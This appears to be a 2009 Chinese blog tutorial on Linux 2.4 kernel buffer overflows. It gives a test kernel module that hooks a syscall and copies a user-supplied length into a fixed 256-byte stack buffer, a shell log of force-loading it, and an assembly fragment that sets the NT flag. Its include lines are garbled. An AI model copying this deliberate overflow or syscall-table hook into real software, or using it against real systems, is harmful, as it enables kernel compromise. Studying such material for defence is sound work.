分类: LINUX
2009-06-27 18:39:50
//test for kernel buffer overflow Vulnerability
//by e4gle
//gcc -O3 -c -I/usr/src/linux/include kbof.c
#define MODULE
#define __KERNEL__
#include;
#include;
#include;
#include;
#include;
#include;
#define __NR_fun 242
extern void* sys_call_table[];
int (*old_fun) (void );
asmlinkage int e4gle_call(unsigned int magic,char * code) {
char buf[256];
memcpy(buf,code,magic); //这里有问题
}
asmlinkage int new_fun(unsigned int magic, char * buf) {
char * code = kmalloc(magic, GFP_KERNEL);
if (code ==NULL) return 0;
if (copy_from_user(code, buf, magic)) //从用户层取参数
return 0;
e4gle_call(magic,code); //调用e4gle_call时,很明显会溢出,当然是在内核中
}
int init_module(void) {
old_fun = sys_call_table[__NR_fun];
sys_call_table[__NR_fun] = new_fun;
printk("<1>;kbof test loaded...\n");
return 0;
}
void cleanup_module(void) {
sys_call_table[__NR_fun] = old_fun;
printk("<1>;kbof test unloaded...\n");
}
//我们加载这个有问题的lkm,让它跑在内核里
[root@redhat73 test]# gcc -O3 -c -I/usr/src/linux/include kbof.c
[root@redhat73 test]# insmod -f kbof.o
Warning: kernel-module version mismatch
kbof.o was compiled for kernel version 2.4.18-3custom
while this kernel is version 2.4.18-3
Warning: loading kbof.o will taint the kernel: no license
Warning: loading kbof.o will taint the kernel: forced load
[root@redhat73 test]# lsmod|grep kbof
kbof 1040 0 (unused)
//int NT_MASK = 0x00004000;
int main( void )
{
__asm__("
mov $0x00004000,%eax #设置NT 标志
pushl %eax
popfl
lcall $7,$0
");
return 1;
}